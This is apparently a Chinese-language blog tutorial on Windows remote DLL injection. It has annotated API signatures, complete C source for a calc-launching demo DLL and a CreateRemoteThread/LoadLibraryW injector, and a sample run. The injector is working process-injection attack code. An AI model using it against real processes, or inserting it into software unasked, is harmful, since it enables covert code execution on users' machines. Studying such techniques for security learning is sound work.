Remote DLL Injection Demo

Remote DLL Injection Demo

Function

  • OpenProcess
  • VirtualAllocEx
  • WriteProcessMemory
  • GetProcAddress
  • GetModuleHandle
  • LoadLibraryW
  • CreateRemoteThread

OpenProcess

1
2
3
4
5
HANDLE OpenProcess(
DWORD dwDesiredAccess, // 想拥有的该进程访问权限
BOOL bInheritHandle, // 是否继承句柄
DWORD dwProcessId // PID
);

VirtualAllocEx

1
2
3
4
5
6
7
LPVOID VirtualAllocEx(
HANDLE hProcess, // 目标进程句柄
LPVOID lpAddress, // 保留页面的内存地址, 一般用 NULL 自动分配
SIZE_T dwSize, // 欲分配的内存大小,字节单位
DWORD flAllocationType, // 分配内存空间的类型
DWORD flProtect // 内存访问权限
);

WriteProcessMemory

1
2
3
4
5
6
7
BOOL WriteProcessMemory(
HANDLE hProcess, // 目标进程句柄
LPVOID lpBaseAddress, // 目标进程内存空间起始地址
LPCVOID lpBuffer, // 要写入数据的内存空间地址
SIZE_T nSize, // 需要要写入的字节大小
SIZE_T *lpNumberOfBytesWritten // 实际写入的字节数
);

GetProcAddress

1
2
3
4
FARPROC GetProcAddress(
HMODULE hModule, // DLL 模块句柄
LPCSTR lpProcName // 函数名
);

GetModuleHandle

1
2
3
HMODULE GetModuleHandleW(
LPCWSTR lpModuleName // 模块名
);

LoadLibraryW

1
2
3
HMODULE LoadLibraryW(
LPCWSTR lpLibFileName // DLL 路径名
);

CreateRemoteThread

1
2
3
4
5
6
7
8
9
HANDLE CreateRemoteThread(
HANDLE hProcess, // 进程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全属性
SIZE_T dwStackSize, // 线程栈初始大小, 以字节为单位, 如果该值设为 0, 那么使用系统默认大小
LPTHREAD_START_ROUTINE lpStartAddress, // 在远程进程的地址空间中, 该线程的线程函数的起始地址
LPVOID lpParameter, // 传给线程函数的参数
DWORD dwCreationFlags, // 线程的创建标志
LPDWORD lpThreadId // 所创建线程 ID 的指针, 如果创建失败, 该参数为 NULL
);

Process

  • 使用 OpenProcess 函数获取对进程的访问权限
  • 使用 VirtualAllocEx 函数在远程进程空间中分配一块内存
  • 使用 WriteProcessMemory 函数将 DLL 路径名复制到分配的内存中
  • 使用 GetProcAddress 函数来得到 LoadLibrary 函数在(kernel32.dll)中的实际地址
  • 使用 CreateRemoteThread 函数在远程进程中创建一个线程,线程调用 LoadLibrary 函数并在参数中传入第二步分配到的内存(DLL 路径)

demo

calc.dll

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <Windows.h>
#include <tchar.h>


void InheritParent(void)
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION piReadCmd;
TCHAR szAppName[] = L"C:\\Windows\\System32\\calc.exe";
DWORD dwCreateFlage = CREATE_NEW_CONSOLE;


BOOL bNewProcess = CreateProcess(szAppName, NULL, NULL, NULL, FALSE, dwCreateFlage, NULL, NULL, &si, &piReadCmd);
if (bNewProcess)
{
CloseHandle(piReadCmd.hThread);
CloseHandle(piReadCmd.hProcess);
}
}

BOOL WINAPI DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
InheritParent();
break;
case DLL_PROCESS_DETACH:
MessageBox(NULL, L"DLL_PROCESS_DETACH", L"Title", NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

RemoteInjectDll.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#include <Windows.h>
#include <tchar.h>


BOOL RemoteInjectDll(DWORD PID, LPCTSTR dllpath)
{
BOOL status = FALSE;
HANDLE hProcess = NULL, hThread = NULL;
HMODULE hMod = NULL;
PWSTR remote_buffer = NULL;
int len_dllpath = 1 + lstrlen(dllpath);
int dllpath_memory = len_dllpath * sizeof(wchar_t);
PTHREAD_START_ROUTINE get_func_address = NULL;

__try
{
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
_tprintf(L"Injecting DLL to PID: %lu \n", PID);
if (hProcess == NULL)
{
_tprintf(L"Get Process Handle Error : %lu \n", GetLastError());
__leave;
}

__try
{
remote_buffer = (PWSTR)VirtualAllocEx(hProcess, NULL, dllpath_memory, MEM_COMMIT, PAGE_READWRITE);
if (remote_buffer == NULL)
{
_tprintf(L"VirtualAlloc Error %lu \n", GetLastError());
__leave;
}
}
__finally
{
_tprintf(L"VirtualAlloc Done\n");
}

if (!WriteProcessMemory(hProcess, remote_buffer, (PVOID)dllpath, dllpath_memory, NULL)) __leave;

hMod = GetModuleHandle(L"kernel32.dll");
get_func_address = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
if (get_func_address == NULL)
{
_tprintf(L"Get LoadLibrary Address Error %lu \n", GetLastError());
__leave;
}

hThread = CreateRemoteThread(hProcess, NULL, 0, get_func_address, remote_buffer, 0, NULL);
if (hThread == NULL)
{
_tprintf(L"CreateRemoteThread Error %lu \n", GetLastError());
__leave;
}

WaitForSingleObject(hThread, INFINITE);
status = TRUE;
}
__finally
{
if (remote_buffer != NULL)
VirtualFreeEx(hProcess, remote_buffer, 0, MEM_RELEASE);
if (hThread != NULL)
CloseHandle(hThread);
if (hProcess != NULL)
CloseHandle(hProcess);
}
return(status);
}

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
if (argc != 3)
{
_tprintf(L"Usage: %s <pid> <dll path> \n", argv[0]);
return(1);
}
if (RemoteInjectDll((DWORD)_tstol(argv[1]), argv[2]))
{
_tprintf(L"InjectDll Sucess \n");
}
else
{
_tprintf(L"InjectDll Fail \n");
}
return(0);
}


运行

1
2
3
4
remote_dllInjection.exe 6248 C:\Users\0x20C\Desktop\open_calc.dll
# Injecting DLL to PID: 6248
# Stop VirtualAlloc
# InjectDll Sucess

Sucess



本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!